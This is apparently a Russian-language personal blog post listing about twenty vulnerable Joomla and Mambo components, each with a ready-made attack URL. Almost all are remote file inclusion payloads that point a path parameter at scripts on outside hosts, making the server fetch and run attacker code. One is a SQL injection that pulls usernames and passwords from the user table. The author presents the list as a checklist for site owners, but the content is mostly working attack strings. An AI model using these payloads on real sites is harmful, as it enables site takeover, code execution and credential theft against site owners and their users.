Блог Dead Krolik'а
Вышел заяц на крыльцо ... Зайцу 23 года, и у него почти высшее образование

Статья обновлена. Раньше тут был рассказ о том, что мол какие нехорошие арабы, что пытаются меня поломать. Но теперь тут я собираю уязвимости компонентов Joomla (по сути дыры безопасности). Каждая дыра сопровождается урлом ее использования. Предлагаю каждому владельцу сайта на Joomla обеспокоиться безопасностью своего сайта и проверить его на следующие способы взлома:

1. Remository – /administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path=http://nawader.org/modules/Top/kgb.c?
2. JoomlaBoard – /components/com_joo​mlaboard/file_upload.php?sbp=h​ttp://globizgroup.com/.img/dog​.c?
3. ExtCalendar – /components/com_ext​calendar/admin_events.php?CONF​IG_EXT[LANGUAGES_DIR]=http://g​lobizgroup.com/.img/dog.c?
4. NFN Address Book – /administrator/comp​onents/com_nfn_addressbook/nfn​addressbook.php?mosConfig_abso​lute_path=http://globizgroup.c​om/.img/dog.c?
5. SWMenuPro – /components/com_swm​enupro/ImageManager/Classes/Im​ageManager.php?mosConfig_absol​ute_path=http://globizgroup.co​m/.img/dog.c?
6. Mambo Gallery Manager – /administrator/comp​onents/com_mgm/help.mgm.php?mo​sConfig_absolute_path=http://g​lobizgroup.com/.img/dog.c?
7. MosetsTree – /components/com_mtr​ee/Savant2/Savant2_Plugin_text​area.php?mosConfig_absolute_pa​th=http://globizgroup.com/.img​/dog.c?
8. Community Builder – /administrator/comp​onents/com_comprofiler/plugin.​class.php?mosConfig_absolute_p​ath=http://turinagyker.hu/.img​/xQt.c?
9. RSGallery2 – index.php?option=com_rsgallery2&Itemid=1&catid=1/**/union/**/select/**/null,null,username,null,password,null,null,null,null,null,null,null,null/**/from/**/jos_users/*
10. mod_as_category – /modules/mod_as_category.php?m​osConfig_absolute_path=http://​62.129.173.149/img/dog.c?
11. LoudMounth – /components/com_lou​dmounth/includes/abbc/abbc.cla​ss.php?mosConfig_absolute_path​=http://62.129.173.149/img/dog​.c?
12. SMF – /administrator/comp​onents/com_smf/smf.php?mosConf​ig_absolute_path=http://62.129​.173.149/img/dog.c?
13. LinkDirectory – /administrator/comp​onents/com_linkdirectory/toolb​ar.linkdirectory.html.php?mosC​onfig_absolute_path=http://62.​129.173.149/img/dog.c?
14. Lurm
    1. /administrator/comp​onents/com_lurm_constructor/ad​min.lurm_constructor.php?lm_ab​solute_path=http://62.129.173.​149/img/dog.c?
    2. /components/com_lur​m_constructor/admin.lurm_const​ructor.php?lm_absolute_path=ht​tp://62.129.173.149/img/dog.c?
15. A6 MamboCredits – /administrator/comp​onents/com_a6mambocredits/admi​n.a6mambocredits.php?mosConfig​_live_site=http://62.129.173.1​49/img/dog.c?
16. VirtueMart – /components/com_vir​tuemart/inc/contact_type.php?m​osConfig_absolute_path=http://​62.129.173.149/img/dog.c?
17. MamboBoard – /administrator/comp​onents/com_mamboboard/file_upl​oad.php=http://62.129.173.149/​img/dog.c?
18. PC Cookbook – /components/com_pcc​ookbook/pccookbook.php?mosConf​ig_absolute_path=http://62.129​.173.149/img/dog.c?
19. MiniBB – /components/minibb/​index.php?absolute_path=http:/​/62.129.173.149/img/dog.c?
20. PHPbb интегратор – /components/com_for​um/download.php?phpbb_root_pat​h=http://62.129.173.149/img/do​g.c?

Joomla 1.5

1. Ядро в бете – /libraries/pcl/pclt​ar.php?g_pcltar_lib_dir=http:/​/www.yescolombia.com/as.c?